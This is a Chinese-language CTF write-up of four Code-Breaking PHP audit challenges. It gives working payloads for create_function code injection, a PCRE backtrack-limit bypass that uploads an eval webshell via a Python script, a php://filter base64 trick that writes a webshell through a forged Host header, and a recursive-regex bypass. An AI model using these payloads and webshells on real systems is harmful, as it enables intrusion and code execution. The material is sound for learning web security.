代码审计 Code-Breaking 做题记录

好久没更新博客了,整理下之前的做题笔记

1. easy - function

代码

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

在这里考察的是create_function代码注入

PHP 7.2.13 源码
路径 php-7.2.13/Zend/zend_builtin_functions.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#define LAMBDA_TEMP_FUNCNAME	"__lambda_func"
/* {{{ proto string create_function(string args, string code)
Creates an anonymous function, and returns its name (funny, eh?) */
ZEND_FUNCTION(create_function)
{
zend_string *function_name;
char *eval_code, *function_args, *function_code;
size_t eval_code_length, function_args_len, function_code_len;
int retval;
char *eval_name;

if (zend_parse_parameters(ZEND_NUM_ARGS(), "ss", &function_args, &function_args_len, &function_code, &function_code_len) == FAILURE) {
return;
}

eval_code = (char *) emalloc(sizeof("function " LAMBDA_TEMP_FUNCNAME)
+function_args_len
+2 /* for the args parentheses */
+2 /* for the curly braces */
+function_code_len);

eval_code_length = sizeof("function " LAMBDA_TEMP_FUNCNAME "(") - 1;
memcpy(eval_code, "function " LAMBDA_TEMP_FUNCNAME "(", eval_code_length);

memcpy(eval_code + eval_code_length, function_args, function_args_len);
eval_code_length += function_args_len;

eval_code[eval_code_length++] = ')';
eval_code[eval_code_length++] = '{';

memcpy(eval_code + eval_code_length, function_code, function_code_len);
eval_code_length += function_code_len;

eval_code[eval_code_length++] = '}';
eval_code[eval_code_length] = '\0';

eval_name = zend_make_compiled_string_description("runtime-created function");
retval = zend_eval_stringl(eval_code, eval_code_length, NULL, eval_name);
efree(eval_code);
efree(eval_name);

if (retval==SUCCESS) {
zend_op_array *func;
HashTable *static_variables;

func = zend_hash_str_find_ptr(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
if (!func) {
zend_error_noreturn(E_CORE_ERROR, "Unexpected inconsistency in create_function()");
RETURN_FALSE;
}
if (func->refcount) {
(*func->refcount)++;
}
static_variables = func->static_variables;
func->static_variables = NULL;
zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
func->static_variables = static_variables;

function_name = zend_string_alloc(sizeof("0lambda_")+MAX_LENGTH_OF_LONG, 0);
ZSTR_VAL(function_name)[0] = '\0';

do {
ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1;
} while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
RETURN_NEW_STR(function_name);
} else {
zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
RETURN_FALSE;
}
}
/* }}} */

从注释可知,用户传入的两个参数为function_argsfunction_code

跟进代码,可知后面会被拼接成一个完整的php函数,一段以\0结尾的字符串eval_code: function __lambda_func (function_args){function_code} \0
然后eval_code被传入zend_eval_stringl()执行。

在本题中,function_code,也就是$_GET['arg']是可控的,我们可以构造
arg=return 0;}phpinfo();//

但是还有一个正则需要绕过,$_GET['action']的开头不能是a-z0-9还有_
因此直接传create_function是不行的。
这就涉及到了PHP的另一个知识点 namespace
在PHP中,\函数名a,即调用全局的函数a
因此我们可以传入action=\create_function来调用全局函数create_function

payload:

1
action=\create_function&arg=return 0;}phpinfo();//

成功执行代码phpinfo()

1

可知禁止执行以下函数

1
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

列出当前目录文件。

1
2
3
http://51.158.75.42:8087/index.php?action=\create_function&arg=return 0;}var_dump(scandir('./'));//

array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }

列出上级目录文件。

1
2
3
http://51.158.75.42:8087/index.php?action=\create_function&arg=return 0;}var_dump(scandir('../'));//

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(31) "flag_h0w2execute_arb1trary_c0de" [3]=> string(4) "html" }

读取flag。

1
http://51.158.75.42:8087/index.php?action=\create_function&arg=return 0;}var_dump(scandir('../'));readfile('../flag_h0w2execute_arb1trary_c0de');//

2

2. easy - pcrewaf

直接给了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
}

可知通过程序通过正则过滤了php代码。

参考链接
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

解题脚本

1
2
3
4
5
6
7
8
9
import requests
from io import BytesIO

files = {
'file': BytesIO(b'aaa<?php eval($_GET[\'a\']);//' + b'a' * 1000000)
}

res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

找flag

1
2
3
4
http://51.158.75.42:8088/data/4eb574ea10f554cfb8e5c501931ff030/1.php?a=var_dump(scandir('../../../'));

回显
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(22) "flag_php7_2_1s_c0rrect" [3]=> string(4) "html" }

读取flag

1
2
3
http://51.158.75.42:8088/data/4eb574ea10f554cfb8e5c501931ff030/1.php?a=var_dump(scandir('../../../'));readfile('../../../flag_php7_2_1s_c0rrect');
回显
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(22) "flag_php7_2_1s_c0rrect" [3]=> string(4) "html" } flag{216728a834fb4c1e0bc6893e135f436e}

3

3. easy - phpmagic

部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<?php
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);

$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}

echo $output;
endif; ?>

$domain 可控。但是通过函数escapeshellarg()进行了处理,不能命令注入,但是经过shell_exec()之后,$output中一定包含$domain

$log_name 也是可控的,使用pathinfo()提取扩展名,限制的很全面,可以通过在路径末尾添加”/.”,可以使pathinfo(),获取不到扩展名,从而绕过黑名单检测。

4

在后面对$log_name 重新赋值时

1
$log_name = $_SERVER['SERVER_NAME'] . $log_name;

$_SERVER['SERVER_NAME']Apache2没有设置UseCanonicalName = On ServerName时也是可控的。
它获取的就是客户端请求头中Host的值。
5

这样整个$log_name的内容就都可以控制了,由此我们可以传入php伪协议来写文件。

接下来是$output,也就是控制文件内容。

由于htmlspecialchars()<>转成了HTML实体,需要进行编码绕过,php伪协议又支持base64解码,而且php在进行base64解码的时候如果遇到不是base64编码的字符会直接跳过。

这样我们就有思路了,Hostlog组成php伪协议,doamin为写入的shellbase64,因为base64编码的最后才会使用等号进行补位,因此shell编码后不能包含等号。
<?php @eval($_GET["a"]);/**
base64之后

1
PD9waHAgQGV2YWwoJF9HRVRbImEiXSk7Lyoq

6

成功getshell
7

读取flag
8

4. easy - phplimit

代码

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

在这里考察的其实是PHP正则表达式的递归模式。每一次迭代,php都会把表达式中的(?R)替换为/[^\W]+\((?R)?\)/
这也就意味着我们传入的参数必须是不带参数的函数才可以。

这个题和RCTF2018中的r-cursive类似,原题是利用getallheaders()函数来绕过,但是这个题的环境为nginx。不能使用该函数获取数据。

PHP中提供了get_defined_vars()这个函数来获取所有已定义变量。

成功执行代码
9

读取flag

10

其他payload

1
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));